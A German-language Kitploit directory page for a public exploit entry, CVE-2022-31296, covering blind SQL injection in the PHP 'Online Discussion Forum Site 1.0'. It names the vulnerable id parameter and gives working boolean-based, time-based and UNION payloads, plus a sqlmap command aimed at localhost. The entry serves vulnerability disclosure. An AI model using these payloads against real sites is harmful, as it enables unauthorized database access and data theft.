Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
CVE-2022-31296 — Online-Diskussionsforum-Site 1.0 - Blind SQL Injection | Kitploit
Tools/GitHubGitHub/bigzooooz/cve-2022-31296
SchwachstellenanalyseExploitationWebanwendungs-ExploitationPenetrationstests
GitHubbigzooooz/cve-2022-31296

CVE-2022-31296

Online-Diskussionsforum-Site 1.0 - Blind SQL Injection

Repository anzeigen
1vor 4 JahrenNoch nicht geprüft

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen

CVE-2022-31296

Online Diskussionsforum Site 1.0 - Blind SQL-Injection

Exploit-Titel: Online Diskussionsforum Site 1.0 - Blind SQL-Injection

Datum: 2022-06-13

CVE: CVE-2022-31296

Exploit-Autor: Abdulaziz Saad (@b4zb0z)

Anbieter-Startseite: https://www.sourcecodester.com/

Software-Link:

Tool herunterladen
https://www.sourcecodester.com/php/15337/online-discussion-forum-site-phpoop-free-source-code.html

Version: 1.0

Getestet auf: LAMP, Ubuntu

[#] Ort der Schwachstelle: $_GET['id'] in /odfs/posts/view_post.php:3

root@kitploit:~
Parameter: id (GET)
root@kitploit:~
Typ: boolean-basierte blinde SQL-Injection
Titel: AND boolean-basierte blinde SQL-Injection - WHERE oder HAVING-Klausel
Payload: p=posts/view_post&id=1' AND 8036=8036 AND 'zhKq'='zhKq
root@kitploit:~
Typ: zeitbasierte blinde SQL-Injection
root@kitploit:~
Titel: MySQL >= 5.0.12 AND zeitbasierte blinde SQL-Injection (Abfrage SLEEP)
Payload: p=posts/view_post&id=1' AND (SELECT 4593 FROM (SELECT(SLEEP(5)))Tmcg) AND 'qyDN'='qyDN
root@kitploit:~
Typ: UNION-Abfrage
root@kitploit:~
Titel: Allgemeine UNION-Abfrage (NULL) - 12 Spalten
Payload: p=posts/view_post&id=-5399' UNION ALL SELECT NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,CONCAT(0x7171767671,0x5a7272534b4b78734a53464e62454b52617876484e6670665570454454526a6963626f506e45776e,0x717a707671)-- -

[#] Ausnutzung mit SQLMAP: sqlmap -u "http://localhost/odfs/?p=posts/view_post&id=1" --dbms=mysql